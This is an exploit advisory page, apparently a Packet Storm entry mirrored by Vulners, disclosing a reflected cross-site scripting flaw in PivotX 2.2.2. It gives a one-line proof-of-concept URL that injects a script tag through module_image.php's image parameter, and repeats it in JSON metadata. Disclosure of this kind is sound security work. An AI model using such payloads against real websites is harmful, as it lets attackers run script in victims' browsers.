Search...

PivotX 2.2.2 Cross Site Scripting

2011-01-25T00:00:00

ID PACKETSTORM:97831
Type packetstorm
Reporter AutoSec Tools
Modified 2011-01-25T00:00:00

Description

                                        
                                            `------------------------------------------------------------------------  
Software................PivotX 2.2.2  
Vulnerability...........Reflected Cross-site Scripting  
Download................http://pivotx.net/  
Release Date............1/23/2011  
Tested On...............Windows Vista + XAMPP  
------------------------------------------------------------------------  
Author..................AutoSec Tools  
Site....................http://www.autosectools.com/  
------------------------------------------------------------------------  
  
--Description--  
  
A reflected cross-site scripting vulnerability in PivotX 2.2.2 can be  
exploited to execute arbitrary JavaScript.  
  
  
--PoC--  
  
http://localhost/pivotx/pivotx/modules/module_image.php?image=%3Cscript%3Ealert(0)%3C/script%3E  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:97831", "type": "packetstorm", "bulletinFamily": "exploit", "title": "PivotX 2.2.2 Cross Site Scripting", "description": "", "published": "2011-01-25T00:00:00", "modified": "2011-01-25T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/97831/PivotX-2.2.2-Cross-Site-Scripting.html", "reporter": "AutoSec Tools", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:26:24", "viewCount": 1, "enchantments": {"score": {"value": -0.0, "vector": "NONE", "modified": "2016-11-03T10:26:24", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:26:24", "rev": 2}, "vulnersScore": -0.0}, "sourceHref": "https://packetstormsecurity.com/files/download/97831/Pivotx222-xss.txt", "sourceData": "`------------------------------------------------------------------------ \nSoftware................PivotX 2.2.2 \nVulnerability...........Reflected Cross-site Scripting \nDownload................http://pivotx.net/ \nRelease Date............1/23/2011 \nTested On...............Windows Vista + XAMPP \n------------------------------------------------------------------------ \nAuthor..................AutoSec Tools \nSite....................http://www.autosectools.com/ \n------------------------------------------------------------------------ \n \n--Description-- \n \nA reflected cross-site scripting vulnerability in PivotX 2.2.2 can be \nexploited to execute arbitrary JavaScript. \n \n \n--PoC-- \n \nhttp://localhost/pivotx/pivotx/modules/module_image.php?image=%3Cscript%3Ealert(0)%3C/script%3E \n`\n", "immutableFields": []}